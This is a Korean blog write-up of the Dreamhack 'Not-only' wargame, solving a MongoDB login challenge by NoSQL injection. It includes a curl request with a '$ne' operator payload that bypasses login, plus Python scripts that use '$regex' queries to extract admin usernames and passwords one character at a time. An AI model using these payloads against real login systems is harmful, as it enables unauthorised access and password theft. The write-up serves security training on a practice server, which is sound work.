[Dreamhack] Not-only
2024. 12. 20.

https://dreamhack.io/wargame/challenges/1619

 

Not-only

Description admin 권한을 가진 유저를 찾으세요! 유저의 password 가 플래그입니다. 패스워드 형식은 숫자와 알파벳 대소문자, 특수문자 {, }가 포함된 문자열입니다. admin 유저는 몇 명일까요? 플래그

dreamhack.io

admin 권한을 가진 유저의 비밀번호를 찾으라고 한다. 

문제 사이트에 들어가보자.

/login 사이트로 들어가보면

 

일단 코드를 한번 살펴봐야 될 듯 싶다.

code

더보기

db.sql

use main;
db.user.insert({"uid": "guest", "upw": "guest", "admin": 0});
db.user.insert({"uid": "hack", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "apple", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "melon", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "testuser", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "admin", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "aaaa", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "cream", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "berry", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "ice", "upw": "**sample**", "admin": 0});
db.user.insert({"uid": "panda", "upw": "**sample**", "admin": 0});
db.user.find();

유저 목록

지금 나와있는 유저들 중 누가 admin인지는 알 수가 없고, upw의 경우 guest의 것만 알 수 있는 상태

 

login.js

const express = require('express');
const router = express.Router();
const path = require('path');

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

router.post('/', (req, res) => {
    const uid = req.body.uid;
    const upw = req.body.upw;
  
    
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            req.session.user = { uid: result['uid'], admin: result['admin']}; 
            res.redirect('/user');
        }else{
            res.redirect('/login');
        }
    });
  });

router.get('/', function(req, res) {
    res.render("login.ejs");
});

module.exports = router;

mongo db를 사용해서 유저 정보를 저장하고 있는 모양

mongo db의 취약점을 이용해서 admin 비밀번호를 알아내야 할 듯 하다.

mongo db는 $ne(not equal), $gt(greater) 등을 이용해서 해당 쿼리문의 참/거짓을 알아낼 수 있는 우회 방법이 존재한다.

예를 들어, 아래와 같은 json 입력값을 mongo db에 보낸다고 가정해보자.

{
  "uid": "admin",
  "upw": { "$ne": "" }
}

uid가 admin이고 upw의 값이 비어있지 않은 경우, mongo db는 두 조건을 만족하는 데이터를 찾고, 만약 해당 데이터가 존재한다면 통과시키게 된다. (별도의 filtering이나 sanitization이 없을 경우)

위 json 문을 curl을 통해 서버로 보내보자.

curl -X POST http://host3.dreamhack.games:23523/login \
-H "Content-Type: application/json" \
-d '{"uid": "admin", "upw": {"$ne": ""}}'

응답으로 "Found. Redirecting to /user" 이렇게 오는 걸 볼 수 있다.

아마 응답으로 추측컨데, NoSQL Injection에 대한 별다른 필터링이 없고, 서버의 응답을 통해 비밀번호(플래그)를 알아내면 될 듯 하다.

그 외의 코드에서는 딱히 중요한 점을 발견하지 못했다.

 

Exploit

guest로 로그인을 해 보면

/user 페이지로 리다이렉트한다.

또한 admin auth를 가지고 있는지도 나온다.

만약 admin auth를 가지고 있을 경우, Your admin auth: 1 이런 식으로 뜰 것이라고 예상할 수 있다.]

주어진 db정보로는 누가 admin인지 알 수 없으므로, mongo db에 쿼리문을 날려서 반응을 확인해서 하나씩 맞추는 형식으로 가야 될 듯 하다.

{
  "uid": "admin",
  "upw": { "$regex": "^DH" }
}

$regex는 DH로 시작하는 문자열이라는 의미이고, 위의 두 조건이 올바르다면, 그리고 NoSQL Injection에 대한 필터링이 제대로 되어있지 않다면 mongo db는 마찬가지로 응답으로 "Found. Redirecting to /user 을 보내줄 것이다.

빙고

admin이라는 유저의 패스워드는 DH로 시작할 것이라고 추측해 볼 수 있다.

curl로 하나하나 다 보내기는 시간이 많이 걸리므로, 파이썬으로 브루트 포싱 공격을 자동화하는 익스플로잇을 짜서 페이로드를 보내봤다.

import requests

def find_admin_user():
    url = "http://host3.dreamhack.games:23523/login"
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"  # 가능한 모든 문자
    uid = ""  # uid를 저장할 변수


    while True:
        found = False
        for char in charset:
            payload = {
                "uid": {"$regex": f"^{uid}{char}"},
                "admin": 1,  # admin이 1인 유저만 필터링
                "upw": {"$regex": ".*"}
            }
            response = requests.post(url, json=payload)

            if "Your admin auth: 1" in response.text:  # 성공 조건
                uid += char
                print(f"[+] Admin UID : {uid}")
                found = True
                break

        if not found:  # 더 이상 문자가 없으면 종료
            if uid:  # 일부라도 UID가 발견된 경우 출력
                print(f"[+] Admin UID fully extracted: {uid}")
            else:  # UID를 찾지 못한 경우
                print("[-] No admin UID found")
            break

    return uid


if __name__ == "__main__":
    uid = find_admin_user()
    if uid:
        print(f"[!] Admin UID: {uid}")
    else:
        print("[-] Admin user not found")

우리가 알고 싶은건 admin auth를 가진 유저이므로, 응답으로 "Your admin auth: 1", 그리고 admin이 1인 값을 찾는 코드를 작성해 보았다.

payload = {
                "uid": {"$regex": f"^{uid}{char}"},
                "admin": 1,  # admin이 1인 유저만 필터링
                "upw": {"$regex": ".*"}
            }

먼저 숫자, 대소문자를 포함하는 charset을 준비하고 uid에 공백부터 하나씩 넣어서 만약 서버측 응답값이 원하는 대로 뜬다면 문자 하나씩 uid에 저장하도록 하였다.

upw는 공백이 아닌 경우를 의미한다. 즉 db에 저장된 값 중 upw의 값이 공백이 아닌 값들을 찾겠다는 의미이므로 uid와 admin이 올바르면 해당 유저를 mongo db에서 찾아서 원하는 응답을 줄 것이라고 추측할 수 있다.

upw 부분은 {"$ne": null} 이렇게 넣어도 된다.

 

그리고 admin 권한을 가진 유저는 한명이 아니다. 

한명의 admin 유저인 'cream'을 찾았으므로, 'cream'을 제외하고 또 찾을 수 있도록 앞문자 c가 아닌, 조건에 해당하는 유저를 찾도록 하였다.$regex의 값에 ^[^c] 조건을 추가한다.

 

한명 더 찾음

 

● 패스워드 찾기

이제 각 uid를 대상으로 regex 질의를 통해 브루트 포싱으로 비밀번호를 찾으면 될 것 같다.

- testuser

import requests

def extract_password(uid):
    """Extract the password for the given UID."""
    url = "http://host3.dreamhack.games:23523/login"
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}{"
    password = "" 

    while not password.endswith("}"):  # }가 나올 때까지 반복
        found = False
        for char in charset:
            payload = {
                "uid": uid,
                "admin": 1,
                "upw": {"$regex": f"^{password}{char}"}
            }
            response = requests.post(url, json=payload)


            if "Your admin auth: 1" in response.text:  # 원하는 응답 조건
                password += char
                print(f"[+] Password so far: {password}")
                found = True
                break

        if not found:  # 더이상 문자가 없을 경우 -> 종료
            print(f"[-] Current password: {password}")
            break


    if password.endswith("}"):
        print(f"[+] Password fully extracted: {password}")
    else:
        print(f"[-] Incomplete: {password}")

    return password


if __name__ == "__main__":  # 프로그램 시작
    hidden_uid = "testuser"  # 추측되는 admin uid 입력
    print(f"[*] Target UID: {hidden_uid}")

    admin_password = extract_password(hidden_uid)
    print(f"[!] Admin Password {hidden_uid}: {admin_password}")

upw에 regex를 넣어서 문자 하나씩 mongo db에 저장된 패스워드와 비교하며 응답을 살피고 저장 후 -> 비밀번호 출력

while not password.endswith("}"):  # }가 나올 때까지 반복
        found = False
        for char in charset:
            payload = {
                "uid": uid,
                "admin": 1,
                "upw": {"$regex": f"^{password}{char}"}
            }
            response = requests.post(url, json=payload)


            if "Your admin auth: 1" in response.text:  # 원하는 응답 조건
                password += char
                print(f"[+] Password so far: {password}")
                found = True
                break

        if not found:  # 더이상 문자가 없을 경우 -> 종료
            print(f"[-] Current password: {password}")
            break

response에 우리가 원하는 응답값이 있을 경우 password 변수에 저장해서 만약 더 비교할 문자가 없다면 password를 출력하게 하였다.

if password.endswith("}"):
        print(f"[+] Password fully extracted: {password}")
    else:
        print(f"[-] Incomplete: {password}")

문제에서 플래그의 형식이 DH{~} 이런 식으로 되어있다고 나왔기 때문에 만약 플래그일 경우 '}'로 끝날 것이라고 예상했다.

???

아무래도 '}'로 끝나지 않은 모양인데, 또 시작하는건 DH로 시작한다.

아마 나머지 유저에게 나머지 플래그 값이 들어있을 듯 하다.

 

- cream

import requests

def extract_password(uid):
    """Extract the password for the given UID."""
    url = "http://host3.dreamhack.games:23523/login"
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789}{"
    password = "" 

    while not password.endswith("}"):  # }가 나올 때까지 반복
        found = False
        for char in charset:
            payload = {
                "uid": uid,
                "admin": 1,
                "upw": {"$regex": f"^{password}{char}"}
            }
            response = requests.post(url, json=payload)


            if "Your admin auth: 1" in response.text:  # 원하는 응답 조건
                password += char
                print(f"[+] Password so far: {password}")
                found = True
                break

        if not found:  # 더이상 문자가 없을 경우 -> 종료
            print(f"[-] Current password: {password}")
            break


    if password.endswith("}"):
        print(f"[+] Password fully extracted: {password}")
    else:
        print(f"[-] Incomplete: {password}")

    return password


if __name__ == "__main__":  # 프로그램 시작
    hidden_uid = "cream"  # 추측되는 admin uid 입력
    print(f"[*] Target UID: {hidden_uid}")

    admin_password = extract_password(hidden_uid)
    print(f"[!] Admin Password {hidden_uid}: {admin_password}")

아마 cream의 비밀번호가 나머지 플래그 부분일 듯 하다.

 

빙고

위 두 비밀번호를 이어서 입력하면 플래그가 된다.

 

※ 중간에 엄청 삽질함! 

당연히 admin 권한을 가진 유저가 1명이라고 생각했으나, 알고보니 두명....이었고 두 명의 비밀번호를 이어붙여야 플래그가 튀어나왔다.

그래서 자꾸 중간에 비밀번호가 나오다가 끊기거나, 이상한? 문자로 시작하거나 등등 자꾸 오작동(?)을 일으켰던 것

 

References

https://www.hahwul.com/cullinan/nosql-injection/

 

NoSQL Injection

Introduction NoSQL Injection은 SQL을 사용하는 것으로 알려진 DBMS를 제외한 나머지 Database에 대한 Injection 공격입니다. 일반적으로 NoSQL 데이터베이스는 기존 SQL 데이터베이스보다 consistency check가 느슨합

www.hahwul.com

 

'보안 > Web hacking' 카테고리의 다른 글

[Dreamhack] insane python  (0) 2024.12.26
[Dreamhack] Replace Trick!  (0) 2024.12.23
[Dreamhack] Baby - ai  (0) 2024.12.18
[Dreamhack] TODO List 0.0.1  (1) 2024.11.29
[Dreamhack] Broken Is SSRF possible?  (0) 2024.11.24